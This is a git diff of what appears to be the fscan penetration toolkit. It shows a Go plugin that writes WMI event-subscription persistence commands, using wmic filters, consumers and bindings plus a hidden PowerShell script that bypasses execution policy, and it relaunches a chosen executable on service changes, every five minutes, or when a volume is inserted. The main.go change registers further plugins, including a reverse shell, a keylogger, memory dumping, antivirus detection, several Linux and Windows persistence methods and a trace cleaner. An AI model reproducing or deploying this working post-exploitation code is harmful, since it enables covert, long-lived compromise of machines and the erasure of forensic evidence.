bindingName: fmt.Sprintf("ServiceChangeBinding_%s", baseNameNoExt),
|
||||
query: "SELECT * FROM Win32_ServiceControlEvent",
|
||||
description: "Service State Change Trigger",
|
||||
},
|
||||
}
|
||||
|
||||
for _, config := range wmiEventConfigs {
|
||||
filterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
|
||||
config.filterName, config.query)
|
||||
|
||||
consumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
|
||||
config.consumerName, absPath, absPath)
|
||||
|
||||
bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
|
||||
config.filterName, config.consumerName)
|
||||
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd))
|
||||
}
|
||||
|
||||
timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt)
|
||||
timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt)
|
||||
// timerBindingName := fmt.Sprintf("TimerBinding_%s", baseNameNoExt) // 不需要,移除未使用的变量
|
||||
|
||||
timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
|
||||
|
||||
timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
|
||||
timerFilterName, timerQuery)
|
||||
|
||||
timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
|
||||
timerConsumerName, absPath, absPath)
|
||||
|
||||
timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
|
||||
timerFilterName, timerConsumerName)
|
||||
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd))
|
||||
|
||||
powershellWMIScript := fmt.Sprintf(`
|
||||
$filterName = "PowerShellFilter_%s"
|
||||
$consumerName = "PowerShellConsumer_%s"
|
||||
$bindingName = "PowerShellBinding_%s"
|
||||
|
||||
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
|
||||
Name = $filterName
|
||||
EventNameSpace = "root\cimv2"
|
||||
QueryLanguage = "WQL"
|
||||
Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"
|
||||
}
|
||||
|
||||
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
|
||||
Name = $consumerName
|
||||
CommandLineTemplate = '"%s"'
|
||||
ExecutablePath = "%s"
|
||||
}
|
||||
|
||||
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
|
||||
Filter = $Filter
|
||||
Consumer = $Consumer
|
||||
}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath)
|
||||
|
||||
powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript)
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd))
|
||||
|
||||
return wmiSubscriptions, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinWMIPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// RegisterWinWMIPlugin 注册Windows WMI事件订阅持久化插件
|
||||
func RegisterWinWMIPlugin() {
|
||||
factory := base.NewSimplePluginFactory(
|
||||
&base.PluginMetadata{
|
||||
Name: "winwmi",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Windows WMI事件订阅持久化插件,通过WMI事件触发器实现持久化",
|
||||
Category: "local",
|
||||
Tags: []string{"winwmi", "local", "persistence", "windows"},
|
||||
Protocols: []string{"local"},
|
||||
},
|
||||
func() base.Plugin {
|
||||
return NewWinWMIPlugin()
|
||||
},
|
||||
)
|
||||
|
||||
base.GlobalPluginRegistry.Register("winwmi", factory)
|
||||
}
|
||||
|
||||
// init 插件注册函数
|
||||
func init() {
|
||||
RegisterWinWMIPlugin()
|
||||
}
|
2
go.mod
2
go.mod
@ -17,6 +17,7 @@ require (
|
||||
github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed
|
||||
github.com/neo4j/neo4j-go-driver/v4 v4.4.7
|
||||
github.com/rabbitmq/amqp091-go v1.10.0
|
||||
github.com/robotn/gohook v0.42.2
|
||||
github.com/satori/go.uuid v1.2.0
|
||||
github.com/schollz/progressbar/v3 v3.13.1
|
||||
github.com/sijms/go-ora/v2 v2.5.29
|
||||
@ -71,6 +72,7 @@ require (
|
||||
github.com/rivo/uniseg v0.4.7 // indirect
|
||||
github.com/rogpeppe/go-internal v1.13.1 // indirect
|
||||
github.com/stoewer/go-strcase v1.2.0 // indirect
|
||||
github.com/vcaesar/keycode v0.10.1 // indirect
|
||||
golang.org/x/term v0.27.0 // indirect
|
||||
gopkg.in/inf.v0 v0.9.1 // indirect
|
||||
)
|
||||
|
5
go.sum
5
go.sum
@ -293,6 +293,8 @@ github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475/go.mod h1:bCqn
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
||||
github.com/robotn/gohook v0.42.2 h1:AI9OVh5o59c76jp9Xcc4NpIvze2YeKX1Rn8JvflAUXY=
|
||||
github.com/robotn/gohook v0.42.2/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
|
||||
github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg=
|
||||
github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4=
|
||||
github.com/rogpeppe/go-internal v1.13.1 h1:KvO1DLK/DRN07sQ1LQKScxyZJuNnedQ5/wKSR38lUII=
|
||||
@ -344,6 +346,9 @@ github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsT
|
||||
github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=
|
||||
github.com/tfriedel6/canvas v0.12.1/go.mod h1:WIe1YgsQiKA1awmU6tSs8e5DkceDHC5MHgV5vQQZr/0=
|
||||
github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=
|
||||
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
||||
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
||||
github.com/vcaesar/tt v0.20.1 h1:D/jUeeVCNbq3ad8M7hhtB3J9x5RZ6I1n1eZ0BJp7M+4=
|
||||
github.com/veandco/go-sdl2 v0.4.0/go.mod h1:FB+kTpX9YTE+urhYiClnRzpOXbiWgaU3+5F2AB78DPg=
|
||||
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
|
||||
github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
|
||||
|
31
main.go
31
main.go
@ -6,6 +6,35 @@ import (
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/core"
|
||||
|
||||
// 引入本地插件以触发注册
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/fileinfo" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/dcinfo" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/minidump" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/reverseshell" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/socks5proxy" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/avdetect" // 已重构,可用
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/forwardshell" // 新增,可用
|
||||
|
||||
// Linux持久化插件
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/ldpreload" // Linux LD_PRELOAD持久化
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/shellenv" // Linux Shell环境变量持久化
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/crontask" // Linux Cron计划任务持久化
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/systemdservice" // Linux Systemd服务持久化
|
||||
|
||||
// Windows持久化插件
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/winregistry" // Windows 注册表持久化
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/winstartup" // Windows 启动文件夹持久化
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/winschtask" // Windows 计划任务持久化
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/winservice" // Windows 服务持久化
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/winwmi" // Windows WMI事件订阅持久化
|
||||
|
||||
// 监控插件
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/keylogger" // 跨平台键盘记录
|
||||
|
||||
// 实用工具插件
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/downloader" // 跨平台文件下载
|
||||
_ "github.com/shadow1ng/fscan/plugins/local/cleaner" // 跨平台系统痕迹清理
|
||||
)
|
||||
|
||||
func main() {
|
||||
@ -28,5 +57,5 @@ func main() {
|
||||
defer common.CloseOutput()
|
||||
|
||||
// 执行 CLI 扫描逻辑
|
||||
core.Scan(Info)
|
||||
core.RunScan(Info)
|
||||
}
|
||||
|
Loading…
Reference in New Issue
Block a user